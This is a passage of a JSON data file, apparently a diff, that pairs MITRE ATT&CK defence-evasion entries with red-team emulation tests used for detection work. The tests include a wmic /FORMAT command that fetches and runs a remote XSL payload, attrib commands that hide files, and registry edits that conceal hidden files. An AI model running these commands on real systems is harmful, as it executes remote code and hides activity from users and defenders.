"msxsl.exe must exist on disk at specified location (#{msxsl_exe})\n", - "prereq_command": "if (Test-Path #{msxsl_exe}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe\" -OutFile \"#{msxsl_exe}\"\n" - } - ], - "executor": { - "command": "#{msxsl_exe} #{xmlfile} #{xslfile}\n", - "cleanup_command": "del -Path #{msxsl_exe} >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "WMIC bypass using local XSL file", - "auto_generated_guid": "1b237334-3e21-4a0c-8178-b8c996124988", - "description": "Executes the code specified within a XSL script using a local payload.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "wmic_command": { - "description": "WMI command to execute using wmic.exe", - "type": "string", - "default": "process list" - }, - "local_xsl_file": { - "description": "Location of the test XSL script file on the local filesystem.", - "type": "path", - "default": "PathToAtomicsFolder\\T1220\\src\\wmicscript.xsl" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "XSL file must exist on disk at specified location (#{local_xsl_file})\n", - "prereq_command": "if (Test-Path #{local_xsl_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{local_xsl_file}) -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/wmicscript.xsl\" -OutFile \"#{local_xsl_file}\"\n" - } - ], - "executor": { - "command": "wmic #{wmic_command} /FORMAT:\"#{local_xsl_file}\"\n", - "name": "command_prompt" - } - }, - { - "name": "WMIC bypass using remote XSL file", - "auto_generated_guid": "7f5be499-33be-4129-a560-66021f379b9b", - "description": "Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test successfully executed, while AV turned off.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "remote_xsl_file": { - "description": "Remote location of an XSL payload.", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl" - }, - "wmic_command": { - "description": "WMI command to execute using wmic.exe", - "type": "string", - "default": "process list" - } - }, - "executor": { - "command": "wmic #{wmic_command} /FORMAT:\"#{remote_xsl_file}\"\n", - "name": "command_prompt" - } - } - ] - }, - "T1564.001": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", - "type": "attack-pattern", - "created": "2020-02-26T17:46:13.128Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1564.001", - "url": "https://attack.mitre.org/techniques/T1564/001" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", - "source_name": "Sofacy Komplex Trojan" - }, - { - "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", - "source_name": "Antiquated Mac Malware" - }, - { - "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf", - "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", - "source_name": "WireLurker" - } - ], - "modified": "2020-03-29T22:32:25.985Z", - "name": "Hide Artifacts: Hidden Files and Directories", - "description": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "File: File Creation", - "Process: Process Creation", - "File: File Metadata" - ], - "x_mitre_defense_bypassed": [ - "Host forensic analysis" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1564.001" - }, - "atomic_tests": [ - { - "name": "Create Windows System File with Attrib", - "auto_generated_guid": "f70974c8-c094-4574-b542-2c545af95a32", - "description": "Creates a file and marks it as a system file using the attrib.exe utility. Upon execution, open the file in file explorer then open Properties > Details\nand observe that the Attributes are \"SA\" for System and Archive.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_to_modify": { - "description": "File to modify using Attrib command", - "type": "string", - "default": "%temp%\\T1564.001.txt" - } - }, - "dependency_executor_name": "command_prompt", - "dependencies": [ - { - "description": "The file must exist on disk at specified location (#{file_to_modify})\n", - "prereq_command": "IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 )\n", - "get_prereq_command": "echo system_Attrib_T1564.001 >> #{file_to_modify}\n" - } - ], - "executor": { - "command": "attrib.exe +s #{file_to_modify}\n", - "cleanup_command": "del /A:S #{file_to_modify} >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Create Windows Hidden File with Attrib", - "auto_generated_guid": "dadb792e-4358-4d8d-9207-b771faa0daa5", - "description": "Creates a file and marks it as hidden using the attrib.exe utility.Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file\nand observe that the Attributes are \"SH\" for System and Hidden.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_to_modify": { - "description": "File to modify using Attrib command", - "type": "string", - "default": "%temp%\\T1564.001.txt" - } - }, - "dependency_executor_name": "command_prompt", - "dependencies": [ - { - "description": "The file must exist on disk at specified location (#{file_to_modify})\n", - "prereq_command": "IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 )\n", - "get_prereq_command": "echo system_Attrib_T1564.001 >> #{file_to_modify}\n" - } - ], - "executor": { - "command": "attrib.exe +h #{file_to_modify}\n", - "cleanup_command": "del /A:H #{file_to_modify} >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Hide Files Through Registry", - "auto_generated_guid": "f650456b-bd49-4bc1-ae9d-271b5b9581e7", - "description": "Disable Show Hidden files switch in registry. This technique was abused by several malware to hide their files from normal user.\nSee how this trojan abuses this technique - https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32~Tiotua-P/detailed-analysis.aspx \n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f\nreg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v Hidden /t REG_DWORD /d 0 /f\n", - "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\" /v ShowSuperHidden /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\" /v Hidden /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1578.001": { - "technique": { - "x_mitre_platforms": [ - "IaaS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Praetorian" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1", - "type": "attack-pattern", - "created": "2020-06-09T15:33:13.563Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1578.001", - "url": "https://attack.mitre.org/techniques/T1578/001" - }, - { - "source_name": "Mandiant M-Trends 2020", - "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020." - }, - { - "source_name": "AWS Cloud Trail Backup API", - "url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html", - "description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020." - }, - { - "source_name": "Azure - Monitor Logs", - "url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor", - "description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020." - }, - { - "source_name": "Cloud Audit Logs", - "url": "https://cloud.google.com/logging/docs/audit#admin-activity", - "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020." - }, - { - "source_name": "GCP - Creating and Starting a VM", - "url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2", - "description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020." - } - ], - "modified": "2021-03-08T10:33:02.060Z", - "name": "Create Snapshot", - "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\n\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\n\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\n\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the \"sourceSnapshot\": parameter pointed to \"global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Snapshot: Snapshot Metadata", - "Snapshot: Snapshot Creation" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1550.001": { - "technique": { - "x_mitre_platforms": [ - "Office 365", - "SaaS", - "Google Workspace", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Shailesh Tiwary (Indian Army)", - "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", - "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", - "Mark Wee", - "Jen Burns, HubSpot" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", - "created": "2020-01-30T17:37:22.261Z", - "x_mitre_version": "1.3", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1550.001", - "url": "https://attack.mitre.org/techniques/T1550/001" - }, - { - "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", - "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", - "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019." - }, - { - "source_name": "AWS Logging IAM Calls", - "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html", - "description": "AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022." - }, - { - "source_name": "AWS Temporary Security Credentials", - "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html", - "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022." - }, - { - "source_name": "Microsoft Identity Platform Access 2019", - "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens", - "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019." - }, - { - "source_name": "Google Cloud Service Account Credentials", - "url": "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials", - "description": "Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022." - }, - { - "source_name": "GCP Monitoring Service Account Usage", - "url": "https://cloud.google.com/iam/docs/service-account-monitoring", - "description": "Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022." - }, - { - "source_name": "okta", - "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen", - "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019." - }, - { - "source_name": "Rhino Security Labs Enumerating AWS Roles", - "url": "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration", - "description": "Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through \u2018AssumeRole\u2019. Retrieved April 1, 2022." - }, - { - "source_name": "Staaldraad Phishing with OAuth 2017", - "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/", - "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019." - }, - { - "url": "https://capec.mitre.org/data/definitions/593.html", - "source_name": "capec", - "external_id": "CAPEC-593" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nIn AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", - "modified": "2022-05-20T17:40:20.069Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Application Access Token", - "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Application Log: Application Log Content", - "Web Credential: Web Credential Usage" - ], - "x_mitre_defense_bypassed": [ - "System Access Controls" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1078.004": { - "technique": { - "x_mitre_platforms": [ - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Google Workspace" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jon Sternstein, Stern Security" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", - "created": "2020-03-13T20:36:57.378Z", - "x_mitre_version": "1.4", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1078.004", - "url": "https://attack.mitre.org/techniques/T1078/004" - }, - { - "source_name": "AWS Identity Federation", - "url": "https://aws.amazon.com/identity/federation/", - "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020." - }, - { - "source_name": "Google Federating GC", - "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction", - "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020." - }, - { - "source_name": "Microsoft Deploying AD Federation", - "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs", - "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.", - "modified": "2022-04-19T20:23:33.894Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Valid Accounts: Cloud Accounts", - "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Logon Session: Logon Session Creation", - "User Account: User Account Authentication", - "Logon Session: Logon Session Metadata" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1078.004" - }, - "atomic_tests": [] - }, - "T1480.001": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Nick Carr, Mandiant" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", - "created": "2020-06-23T22:28:28.041Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1480.001", - "url": "https://attack.mitre.org/techniques/T1480/001" - }, - { - "source_name": "Proofpoint Router Malvertising", - "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices", - "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019." - }, - { - "source_name": "Kaspersky Gauss Whitepaper", - "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf", - "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019." - }, - { - "source_name": "Ebowla: Genetic Malware", - "url": "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf", - "description": "Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019." - }, - { - "source_name": "EK Clueless Agents", - "url": "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf", - "description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019." - }, - { - "source_name": "EK Impeding Malware Analysis", - "url": "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf", - "description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019." - }, - { - "source_name": "Demiguise Guardrail Router Logo", - "url": "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js", - "description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019." - }, - { - "source_name": "Environmental Keyed HTA", - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/", - "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", - "modified": "2022-05-04T14:52:51.290Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Environmental Keying", - "x_mitre_detection": "Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Host Forensic Analysis", - "Signature-based Detection", - "Static File Analysis" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1564.004": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Oddvar Moe, @oddvarmoe", - "Red Canary" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", - "type": "attack-pattern", - "created": "2020-03-13T20:33:00.009Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1564.004", - "url": "https://attack.mitre.org/techniques/T1564/004" - }, - { - "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea", - "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.", - "source_name": "SpectorOps Host-Based Jul 2017" - }, - { - "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/", - "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.", - "source_name": "Microsoft NTFS File Attributes Aug 2010" - }, - { - "url": "http://msdn.microsoft.com/en-us/library/aa364404", - "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.", - "source_name": "Microsoft File Streams" - }, - { - "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/", - "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", - "source_name": "MalwareBytes ADS July 2015" - }, - { - "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/", - "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", - "source_name": "Microsoft ADS Mar 2014" - }, - { - "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", - "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.", - "source_name": "Journey into IR ZeroAccess NTFS EA" - }, - { - "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/", - "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.", - "source_name": "Oddvar Moe ADS1 Jan 2018" - }, - { - "url": 